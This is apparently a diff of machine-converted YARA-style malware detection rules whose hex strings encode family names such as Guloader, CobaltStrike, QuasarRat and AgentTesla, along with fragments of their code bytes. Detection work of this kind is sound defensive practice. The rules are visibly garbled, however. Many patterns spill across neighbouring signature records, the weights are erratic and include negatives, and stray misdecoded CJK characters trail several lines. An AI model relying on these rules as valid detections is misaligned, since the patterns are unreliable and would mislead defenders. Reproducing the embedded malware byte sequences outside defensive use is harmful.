01 41 72 6f 6d 61 74 69 73 65 72 65 6e 64 65 31 35 36 01 00 10 81 01 47 65 6d 79 74 74 65 72 7a 61 6e 61 6e 61 73 6d 01 00 0d 81 01 4e 6f 6e 63 68 6f 6c 65 72 69 } //18467 + $a_01_1 = {00 08 81 01 5a 61 62 61 69 32 30 37 00 00 78 71 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 54 31 21 4d 54 } //14179 + $a_00_2 = {0e } //66 + $a_6b_3 = {69 65 67 65 76 69 6e 73 74 65 72 01 00 0f 81 01 62 6f 67 61 6e 6d 65 6c 64 65 72 2e 65 78 65 01 00 0d 81 01 63 6c 61 73 73 69 63 61 6c 69 7a 65 73 01 00 0c 81 01 66 6f 72 73 74 61 6e 64 65 72 6e 65 00 00 78 71 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 55 45 46 49 2f 49 } //385 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*14179+(#a_00_2 & 1)*66+(#a_6b_3 & 1)*385) >=4 + +} +rule _InfrastructureShared_7404{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 54 31 21 4d 54 42 00 01 00 0e 81 01 61 6b 74 69 65 67 65 76 69 6e 73 74 65 72 01 00 0f 81 01 62 6f 67 61 6e 6d 65 6c 64 65 72 2e 65 78 65 01 00 0d 81 01 63 6c 61 73 73 69 63 61 6c 69 7a 65 73 01 } //18467 + $a_01_1 = {66 6f 72 73 74 61 6e 64 65 72 6e 65 00 00 78 71 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 55 45 46 49 2f 49 6e 73 79 56 75 6c 2e 4f 00 01 00 1c 03 b9 27 00 00 00 e8 ?? 00 00 00 b9 2c 00 00 00 8b d8 e8 ?? 00 00 00 90 00 01 00 07 01 81 7f 08 53 4d 46 41 01 00 07 01 41 ff 52 08 48 89 07 01 00 13 03 00 00 b9 26 00 00 00 48 89 58 18 e8 ?? ?? ff ff } //3072 + $a_71_2 = {00 05 00 05 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 61 63 65 4c 69 67 68 74 2e 45 21 64 68 61 00 05 00 3f 01 49 6e 74 65 72 6e 65 74 4f 70 65 6e 55 72 6c 41 49 6e 74 65 72 6e 65 74 52 65 61 64 46 69 6c 65 49 6e 74 65 72 6e 65 74 43 6c 6f 73 65 48 61 6e 66 77 65 62 77 65 77 6e 61 77 6f 79 77 6f 32 00 00 78 71 00 00 05 00 } //0 + $a_00_3 = {21 } //5 ! + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3072+(#a_71_2 & 1)*0+(#a_00_3 & 1)*5) >=4 + +} +rule _InfrastructureShared_7405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 55 45 46 49 2f 49 6e 73 79 56 75 6c 2e 4f 00 01 00 1c 03 b9 27 00 00 00 e8 90 01 01 00 00 00 b9 2c 00 00 00 8b d8 e8 90 01 01 00 00 00 90 00 01 00 07 01 81 7f 08 53 4d 46 41 01 00 07 01 } //21539 - $a_08_1 = {48 89 07 01 00 13 03 00 00 b9 26 00 00 00 48 89 58 18 e8 90 01 02 ff ff 90 00 00 00 78 71 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 73 73 4c 6f 67 67 65 72 2e 41 55 4f 41 21 4d 54 42 00 05 00 3f 01 08 11 } //-191 - $a_00_2 = {00 01 25 47 09 11 08 58 1f 11 5a 20 00 01 00 00 5d d2 61 d2 52 09 1f 1f 5a 08 11 08 91 58 20 00 01 00 00 5d 0d 00 11 08 17 58 13 08 11 08 08 8e 69 fe 04 13 09 11 09 2d c0 00 00 78 71 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 } //-28920 - $a_00_3 = {05 } //66 + $a_08_1 = {48 89 07 01 00 13 03 00 00 b9 26 00 00 00 48 89 58 18 e8 90 01 02 ff ff 90 00 00 00 78 71 00 00 05 00 05 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 61 63 65 4c 69 67 68 74 2e 45 21 64 68 61 00 05 00 3f 01 49 6e } //-191 + $a_6e_2 = {74 4f 70 65 6e 55 72 6c 41 49 6e 74 65 72 6e 65 74 52 65 61 64 46 69 6c 65 49 6e 74 65 72 6e 65 74 43 6c 6f 73 65 48 61 6e 66 77 65 62 77 65 77 6e 61 77 6f 79 77 6f 32 00 00 78 71 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 73 73 4c 6f 67 67 65 72 2e 41 55 4f 41 21 4d 54 42 00 05 00 3f 01 08 11 08 8f } //25972 condition: - ((#a_4c_0 & 1)*21539+(#a_08_1 & 1)*-191+(#a_00_2 & 1)*-28920+(#a_00_3 & 1)*66) >=4 + ((#a_4c_0 & 1)*21539+(#a_08_1 & 1)*-191+(#a_6e_2 & 1)*25972) >=4 } -rule _InfrastructureShared_7012{ +rule _InfrastructureShared_7406{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 61 63 65 4c 69 67 68 74 2e 45 21 64 68 61 00 05 00 3f 01 49 6e 74 65 72 6e 65 74 4f 70 65 6e 55 72 6c 41 49 6e 74 65 72 6e 65 74 52 65 61 64 46 69 6c 65 49 6e 74 65 72 6e 65 74 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=5 + +} +rule _InfrastructureShared_7407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -73422,7 +77599,42 @@ rule _InfrastructureShared_7012{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_7013{ +rule _InfrastructureShared_7408{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 51 75 61 73 61 72 52 61 74 2e 41 48 42 21 4d 54 42 00 05 00 40 01 48 89 45 10 48 89 55 18 48 b8 6d 65 25 32 30 42 72 6f 48 ba 6b 65 72 2e 65 78 65 00 48 89 45 1b 48 89 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_7409{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 53 58 48 21 4d 54 42 00 03 00 1f 01 8d 45 f0 c7 45 f0 32 33 34 35 50 8d 4d e8 c7 45 f4 70 63 73 61 66 c7 45 f8 66 65 c6 45 fa 00 01 00 13 80 01 4c 65 6e } //21539 + $a_50_1 = {4d 61 6e 61 67 65 72 2e 65 78 65 01 00 0a 01 42 69 72 64 50 6c 61 79 65 72 00 00 78 71 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 6f 66 74 50 75 6c 73 2e 61 77 38 30 00 02 00 0e 80 01 73 74 61 6e 2e 6d 78 70 33 30 2e 63 6f 6d 01 00 09 80 01 4f 66 66 65 72 4e 61 6d 65 01 00 } //30319 + $a_73_2 = {61 } //-32753 a + condition: + ((#a_4c_0 & 1)*21539+(#a_50_1 & 1)*30319+(#a_73_2 & 1)*-32753) >=5 + +} +rule _InfrastructureShared_7410{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 6f 66 74 50 75 6c 73 2e 61 77 38 30 00 02 00 0e 80 01 73 74 61 6e 2e 6d 78 70 33 30 2e 63 6f 6d 01 00 09 80 01 4f 66 66 65 72 4e 61 6d 65 01 00 0f 80 01 73 74 61 6e 2e } //16675 + $a_31_1 = {38 2e 63 6f 6d 01 00 08 80 01 64 61 74 61 2e 65 78 65 00 00 78 71 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 05 81 01 6d 61 63 65 78 01 00 0d 81 01 66 72 65 73 68 43 61 6b 65 2e 64 6c 6c 01 00 0c 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0b 81 01 56 69 72 74 } //30829 + $a_46_2 = {65 65 01 00 0b 81 01 4c 6f 61 64 4c 69 62 72 61 72 79 00 00 78 71 00 00 06 00 06 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 6d 61 64 65 79 2e 4e 41 21 4d 54 42 00 05 00 33 03 28 1c 00 00 0a 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0b 04 06 6f 90 01 01 00 00 0a 07 28 90 01 01 00 } //24949 + $a_22_3 = {00 0a 90 00 01 00 0e 01 4b 61 6e 62 62 61 6c 6c 6d 6e 2e 65 78 65 00 00 78 71 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a } //2560 + condition: + ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*30829+(#a_46_2 & 1)*24949+(#a_22_3 & 1)*2560) >=5 + +} +rule _InfrastructureShared_7411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -73436,7 +77648,7 @@ rule _InfrastructureShared_7013{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_71_2 & 1)*0+(#a_00_3 & 1)*6+(#a_54_4 & 1)*17996) >=5 } -rule _InfrastructureShared_7014{ +rule _InfrastructureShared_7412{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -73447,7 +77659,7 @@ rule _InfrastructureShared_7014{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*0) >=6 } -rule _InfrastructureShared_7015{ +rule _InfrastructureShared_7413{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -73458,7 +77670,7 @@ rule _InfrastructureShared_7015{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101) >=6 } -rule _InfrastructureShared_7016{ +rule _InfrastructureShared_7414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -73469,7 +77681,7 @@ rule _InfrastructureShared_7016{ ((#a_54_0 & 1)*18467+(#a_71_5 & 1)*0) >=6 } -rule _InfrastructureShared_7017{ +rule _InfrastructureShared_7415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -73483,7 +77695,7 @@ rule _InfrastructureShared_7017{ ((#a_54_0 & 1)*18467+(#a_74_2 & 1)*384+(#a_04_3 & 1)*-28541+(#a_90_4 & 1)*-29760+(#a_01_5 & 1)*6544) >=7 } -rule _InfrastructureShared_7018{ +rule _InfrastructureShared_7416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -73493,7 +77705,7 @@ rule _InfrastructureShared_7018{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_7019{ +rule _InfrastructureShared_7417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -73503,7 +77715,7 @@ rule _InfrastructureShared_7019{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_7020{ +rule _InfrastructureShared_7418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -73514,7 +77726,7 @@ rule _InfrastructureShared_7020{ ((#a_54_0 & 1)*18467+(#a_1f_1 & 1)*-28583) >=10 } -rule _InfrastructureShared_7021{ +rule _InfrastructureShared_7419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -73522,12 +77734,12 @@ rule _InfrastructureShared_7021{ $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 77 6f 77 61 2e 44 00 02 00 0d 80 01 3c 52 53 41 4b 65 79 56 61 6c 75 65 3e 02 00 0d 80 01 48 65 61 6c 74 68 4d 61 69 6c 62 6f 78 02 00 08 80 01 75 73 65 72 6e 61 6d } //21539 $a_61_2 = {73 77 6f 72 64 02 00 0b 80 01 49 48 74 74 70 4d 6f 64 75 6c 65 00 00 78 71 00 00 14 00 14 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 5a 50 57 21 4d 54 42 00 0a 00 1d 03 07 84 95 11 04 08 84 95 d7 6e 20 90 02 04 6a 5f b7 95 61 86 9c 11 07 17 d6 13 07 90 00 0a 00 1f 00 6a 5f b8 0c 11 } //384 $a_95_3 = {11 04 07 84 11 04 08 84 95 9e 11 04 08 84 09 9e 07 17 d7 0b 07 00 00 78 71 00 00 16 00 16 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 42 41 48 00 0a 00 0d 03 68 00 14 2d 00 90 09 03 00 6a 0c 90 00 0a 00 09 01 77 67 65 74 20 33 2e 30 00 01 00 06 01 3e 20 6e 75 6c 00 01 00 06 01 25 64 25 64 30 00 01 00 0b 01 78 78 78 25 6c } //1796 - $a_78_4 = {00 00 00 78 71 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 59 61 62 61 62 53 75 6d 6d 69 74 2e 41 21 64 68 61 00 64 00 3e 03 58 3a 5c 42 61 62 79 5c 31 33 61 62 79 5f 44 45 56 45 4c 5c 32 33 30 37 31 30 5f 77 69 6e 31 31 5f 65 73 63 61 6c 5c 65 73 63 61 6c 4c } //11893 + $a_78_4 = {00 00 00 78 71 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 14 03 0f b6 06 8a 84 90 01 03 0a 10 30 07 46 47 83 ed 01 75 90 00 0a 00 2e 01 89 44 24 1c c1 c0 0a c1 c9 0d 33 c8 8b 44 24 18 c1 c8 02 33 c8 8b c6 0b c2 23 f2 23 44 } //11893 condition: ((#a_4c_0 & 1)*21539+(#a_61_2 & 1)*384+(#a_95_3 & 1)*1796+(#a_78_4 & 1)*11893) >=10 } -rule _InfrastructureShared_7022{ +rule _InfrastructureShared_7420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -73538,20 +77750,31 @@ rule _InfrastructureShared_7022{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*3477) >=20 } -rule _InfrastructureShared_7023{ +rule _InfrastructureShared_7421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 52 65 6e 6f 73 2e 42 41 48 00 0a 00 0d 03 68 00 14 2d 00 90 09 03 00 6a 0c 90 00 0a 00 09 01 77 67 65 74 20 33 2e 30 00 01 00 06 01 3e 20 6e 75 6c 00 01 00 06 01 25 64 25 64 30 } //18467 - $a_78_2 = {6c 75 2e 65 78 65 00 00 00 78 71 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 59 61 62 61 62 53 75 6d 6d 69 74 2e 41 21 64 68 61 00 64 00 3e 03 58 3a 5c 42 61 62 79 5c 31 33 61 62 79 5f 44 45 56 45 4c 5c 32 33 30 37 31 30 5f 77 69 6e 31 31 5f 65 73 63 61 6c 5c 65 73 63 61 6c 4c 61 73 74 5c 42 69 6e 5c 90 02 10 2e 70 } //30721 - $a_00_3 = {00 00 78 71 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 57 68 69 74 65 50 75 70 70 65 74 2e 41 21 64 68 61 00 64 00 3c 01 48 3a 5c 30 31 5f 5f 5f 54 6f 6f 6c 73 5c 30 31 5f 5f 31 74 68 20 54 72 6f 79 5c 57 68 69 74 65 5c 57 68 69 74 65 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 57 68 69 74 65 2e 70 64 62 00 00 78 71 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f } //25188 - $a_57_4 = {6e 33 32 2f 49 6b 75 73 50 61 6e 65 2e 41 21 64 68 61 00 64 00 3e 01 62 2c 40 27 33 20 28 6c 30 47 30 20 26 30 72 33 59 34 32 21 4e 24 27 36 78 2e 37 2f 79 6c 6d 43 27 54 46 } //27759 ㍮⼲歉獵慐敮䄮搡慨搀㸀戁䀬㌧⠠ぬぇ☠爰夳㈴両✤砶㜮礯浬❃䙔 + $a_78_2 = {6c 75 2e 65 78 65 00 00 00 78 71 00 00 19 00 19 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 14 03 0f b6 06 8a 84 90 01 03 0a 10 30 07 46 47 83 ed 01 75 90 00 0a 00 2e 01 89 44 24 1c c1 c0 0a c1 c9 0d 33 c8 8b 44 24 18 c1 c8 02 33 c8 8b c6 0b c2 23 f2 23 44 24 18 03 cf 0b c6 03 c1 83 6c 24 14 01 } //30721 + $a_18_3 = {00 78 71 00 00 64 00 64 00 01 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 59 61 62 61 } //17545 砀q搀搀Ā℀䄣䙌䠺捡呫潯㩬楗㍮⼲慙慢 + $a_6d_4 = {69 74 2e 41 21 64 68 61 00 64 00 3e 03 58 3a 5c 42 61 62 79 5c 31 33 61 62 79 5f 44 45 56 45 4c 5c 32 33 30 37 31 30 5f 77 69 6e 31 31 5f 65 73 63 61 6c 5c 65 73 63 61 6c 4c 61 73 74 5c 42 69 6e 5c 90 02 10 2e 70 64 62 90 00 00 00 78 71 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 57 68 69 74 65 50 75 } //21346 condition: - ((#a_54_0 & 1)*18467+(#a_78_2 & 1)*30721+(#a_00_3 & 1)*25188+(#a_57_4 & 1)*27759) >=22 + ((#a_54_0 & 1)*18467+(#a_78_2 & 1)*30721+(#a_18_3 & 1)*17545+(#a_6d_4 & 1)*21346) >=22 } -rule _InfrastructureShared_7024{ +rule _InfrastructureShared_7422{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 0f 00 14 03 0f b6 06 8a 84 90 01 03 0a 10 30 07 46 47 83 ed 01 75 90 00 0a 00 2e 01 89 44 24 1c c1 c0 0a c1 c9 0d 33 c8 8b 44 24 18 } //21539 + $a_33_1 = {8b c6 } //-14143 + condition: + ((#a_4c_0 & 1)*21539+(#a_33_1 & 1)*-14143) >=25 + +} +rule _InfrastructureShared_7423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -73561,7 +77784,7 @@ rule _InfrastructureShared_7024{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_7025{ +rule _InfrastructureShared_7424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -73571,7 +77794,7 @@ rule _InfrastructureShared_7025{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_7026{ +rule _InfrastructureShared_7425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -73581,7 +77804,7 @@ rule _InfrastructureShared_7026{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_7027{ +rule _InfrastructureShared_7426{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73591,7 +77814,7 @@ rule _InfrastructureShared_7027{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7028{ +rule _InfrastructureShared_7427{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73601,7 +77824,7 @@ rule _InfrastructureShared_7028{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7029{ +rule _InfrastructureShared_7428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73611,7 +77834,7 @@ rule _InfrastructureShared_7029{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7030{ +rule _InfrastructureShared_7429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73621,7 +77844,7 @@ rule _InfrastructureShared_7030{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7031{ +rule _InfrastructureShared_7430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73631,7 +77854,7 @@ rule _InfrastructureShared_7031{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7032{ +rule _InfrastructureShared_7431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73641,7 +77864,7 @@ rule _InfrastructureShared_7032{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_7033{ +rule _InfrastructureShared_7432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73651,7 +77874,7 @@ rule _InfrastructureShared_7033{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7034{ +rule _InfrastructureShared_7433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73661,7 +77884,7 @@ rule _InfrastructureShared_7034{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7035{ +rule _InfrastructureShared_7434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73671,7 +77894,7 @@ rule _InfrastructureShared_7035{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7036{ +rule _InfrastructureShared_7435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73681,7 +77904,7 @@ rule _InfrastructureShared_7036{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7037{ +rule _InfrastructureShared_7436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73691,7 +77914,7 @@ rule _InfrastructureShared_7037{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_7038{ +rule _InfrastructureShared_7437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73701,7 +77924,7 @@ rule _InfrastructureShared_7038{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_7039{ +rule _InfrastructureShared_7438{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73711,7 +77934,7 @@ rule _InfrastructureShared_7039{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7040{ +rule _InfrastructureShared_7439{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73721,7 +77944,7 @@ rule _InfrastructureShared_7040{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7041{ +rule _InfrastructureShared_7440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73731,7 +77954,7 @@ rule _InfrastructureShared_7041{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7042{ +rule _InfrastructureShared_7441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73741,7 +77964,7 @@ rule _InfrastructureShared_7042{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7043{ +rule _InfrastructureShared_7442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73751,7 +77974,7 @@ rule _InfrastructureShared_7043{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7044{ +rule _InfrastructureShared_7443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73761,7 +77984,7 @@ rule _InfrastructureShared_7044{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7045{ +rule _InfrastructureShared_7444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73771,7 +77994,27 @@ rule _InfrastructureShared_7045{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_7046{ +rule _InfrastructureShared_7445{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 48 59 21 4d 54 42 00 01 00 3f 03 89 d0 c1 e0 90 01 01 29 d0 83 c0 90 01 02 c1 ea 90 01 01 01 d0 0f b6 c0 29 d0 31 c8 89 c2 8b 85 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_7446{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4f 55 21 4d 54 42 00 01 00 3f 03 8b c9 48 8d 15 90 01 04 33 04 8a 89 44 24 90 01 01 8b 44 24 90 01 01 c1 e8 90 01 01 8b 4c 24 90 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_7447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73781,7 +78024,7 @@ rule _InfrastructureShared_7046{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7047{ +rule _InfrastructureShared_7448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -73791,7 +78034,7 @@ rule _InfrastructureShared_7047{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_7048{ +rule _InfrastructureShared_7449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -73802,7 +78045,7 @@ rule _InfrastructureShared_7048{ ((#a_46_0 & 1)*16675+(#a_37_1 & 1)*12590) >=1 } -rule _InfrastructureShared_7049{ +rule _InfrastructureShared_7450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -73813,7 +78056,7 @@ rule _InfrastructureShared_7049{ ((#a_46_0 & 1)*16675+(#a_c0_1 & 1)*3189) >=1 } -rule _InfrastructureShared_7050{ +rule _InfrastructureShared_7451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -73824,7 +78067,7 @@ rule _InfrastructureShared_7050{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-14732) >=1 } -rule _InfrastructureShared_7051{ +rule _InfrastructureShared_7452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " 